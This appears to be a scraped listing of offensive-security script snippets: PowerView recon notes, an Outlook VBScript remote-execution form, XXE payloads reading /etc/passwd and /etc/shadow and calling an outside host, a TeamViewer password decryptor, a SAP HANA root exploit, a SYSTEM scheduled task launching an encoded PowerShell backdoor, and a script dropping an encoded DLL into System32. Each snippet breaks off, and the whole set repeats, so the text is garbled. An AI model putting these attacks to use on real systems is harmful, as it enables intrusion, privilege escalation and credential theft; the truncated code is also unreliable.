S3cur3Th1sSh1t

## PowerView-3.0-tricks.ps1
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

## RulerRCE
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
 Sub window_onload()
     Set Application = ViewCtl1.OutlookApplication
     Set cmd = Application.CreateObject("Wscript.Shell")

## XXE_Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

## Direct XXE Windows
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

## Teamviewer_Decrypt.py
import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

## CVE-2019-0357 - SAP-HANA root
import os
import signal
import sys

ATTEMPTS = (100 * 1000)

bin2exec = "/usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher"
socketfn = "/var/lib/hdb/HXE/ipc/hdbmdcdispatcher"

passwd_entry = b"anvil:x:0:0:Anvil Ventures:/root:/bin/bash"

## SystemShell.ps1
$confirmpreference = "none"
function Get-ScheduledTaskSystem
{
    $Name = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})
    $SystemUser = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
    $action = New-ScheduledTaskAction -Execute "powershell" -Argument " -noni -noP -sta -enc JABlAGEAcwB5AGIAaQBuAGQAIAA9ACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAE4AZQB0ADsACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBJAE8AOwAKAG4AYQBtAGUAcwBwAGEAYwBlACAAQgBhAGMAawBkAG8AbwByAFMAZQByAHYAZQByAAoAewAKACAAIAAgACAAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABCAGEAYwBrAGQAbwBvAHIACgAgACAAIAAgAHsACgAgACAAIAAgACAAIAAgACAAcAByAGkAdgBhAHQAZQAgAFQAYwBwAEwAaQBzAHQAZQBuAGUAcgAgAGwAaQBzAHQAZQBuAGUAcgA7AAoAIAAgACAAIAAgACAAIAAgAHAAcgBpAHYAYQB0AGUAIABTAG8AYwBrAGUAdAAgAG0AYQBpAG

## PsexecReflective.ps1
function reflectit
{
<#
.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.

## Ualapi.ps1
function Ualapi
{

    Write-Host "Dropping ualapi.dll in System32 Folder..."
    if ([Environment]::Is64BitProcess)
    {
        [IO.File]::WriteAllBytes("C:\Windows\System32\ualapi.dll",[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADkY6HBoALPkqACz5KgAs+SFGjOk6ICz5IUaMqTsALPkhRoy5OpAs+SFGjMk6MCz5LFZM6TpwLPkqACzpLjAs+S1GnKk6ICz5LUac+ToQLPktRpMJKhAs+S1GnNk6ECz5JSaWNooALPkgAAAAAAAAAAAAAAAAAAAABQRQAAZIYKAMimf14AAAAAAAAAAPAAIiALAg4UAIgAAAB4AAAAAAAAehMBAAAQAAAAAACAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAABgAgAABAAAAAAAAAMAYAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAMwBAJQBAADYEwIAZAAAAABAAgA8BAAAAOABAEwdAAAAAAAAAAAAAABQAgBoAAAAsLcBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwtwEACAEAAAAAAAAAAAAAABACANgDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dGJzcwAAAQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAADgLnRleHQAAAAThwAAABABAACIAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAlC0AAA

## GetWinLogonTokenSystem.ps1
function GetWinLogonTokenSystem
{

function reflectbin
{
  <#
      .SYNOPSIS

      This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
      or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set
	<html>
	<head>
	<meta http-equiv="Content-Language" content="en-us">
	<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
	<title>Outlook</title>
	<script id=clientEventHandlersVBS language=vbscript>
	<!--
	Sub window_onload()
	Set Application = ViewCtl1.OutlookApplication
	Set cmd = Application.CreateObject("Wscript.Shell")
	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>
	<?xml version="1.0" encoding="ISO-8859-1"?>
	<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

	<?xml version="1.0" encoding="ISO-8859-1"?>
	<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
	import sys, hexdump, binascii
	from Crypto.Cipher import AES

	class AESCipher:
	def __init__(self, key):
	self.key = key

	def decrypt(self, iv, data):
	self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
	return self.cipher.decrypt(data)
	import os
	import signal
	import sys

	ATTEMPTS = (100 * 1000)

	bin2exec = "/usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher"
	socketfn = "/var/lib/hdb/HXE/ipc/hdbmdcdispatcher"

	passwd_entry = b"anvil:x:0:0:Anvil Ventures:/root:/bin/bash"
	$confirmpreference = "none"
	function Get-ScheduledTaskSystem
	{
	$Name = -join ((65..90) + (97..122) \| Get-Random -Count 5 \| % {[char]$_})
	$SystemUser = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
	$action = New-ScheduledTaskAction -Execute "powershell" -Argument " -noni -noP -sta -enc JABlAGEAcwB5AGIAaQBuAGQAIAA9ACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAE4AZQB0ADsACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBJAE8AOwAKAG4AYQBtAGUAcwBwAGEAYwBlACAAQgBhAGMAawBkAG8AbwByAFMAZQByAHYAZQByAAoAewAKACAAIAAgACAAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABCAGEAYwBrAGQAbwBvAHIACgAgACAAIAAgAHsACgAgACAAIAAgACAAIAAgACAAcAByAGkAdgBhAHQAZQAgAFQAYwBwAEwAaQBzAHQAZQBuAGUAcgAgAGwAaQBzAHQAZQBuAGUAcgA7AAoAIAAgACAAIAAgACAAIAAgAHAAcgBpAHYAYQB0AGUAIABTAG8AYwBrAGUAdAAgAG0AYQBpAG
	function reflectit
	{
	<#
	.SYNOPSIS

	This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
	or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
	please lead the Notes section (GENERAL NOTES) for information on how to use them.

	1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
	function Ualapi
	{

	Write-Host "Dropping ualapi.dll in System32 Folder..."
	if ([Environment]::Is64BitProcess)
	{
	[IO.File]::WriteAllBytes("C:\Windows\System32\ualapi.dll",[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADkY6HBoALPkqACz5KgAs+SFGjOk6ICz5IUaMqTsALPkhRoy5OpAs+SFGjMk6MCz5LFZM6TpwLPkqACzpLjAs+S1GnKk6ICz5LUac+ToQLPktRpMJKhAs+S1GnNk6ECz5JSaWNooALPkgAAAAAAAAAAAAAAAAAAAABQRQAAZIYKAMimf14AAAAAAAAAAPAAIiALAg4UAIgAAAB4AAAAAAAAehMBAAAQAAAAAACAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAABgAgAABAAAAAAAAAMAYAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAMwBAJQBAADYEwIAZAAAAABAAgA8BAAAAOABAEwdAAAAAAAAAAAAAABQAgBoAAAAsLcBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwtwEACAEAAAAAAAAAAAAAABACANgDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dGJzcwAAAQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAADgLnRleHQAAAAThwAAABABAACIAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAlC0AAA
	function GetWinLogonTokenSystem
	{

	function reflectbin
	{
	<#
	.SYNOPSIS

	This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
	or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,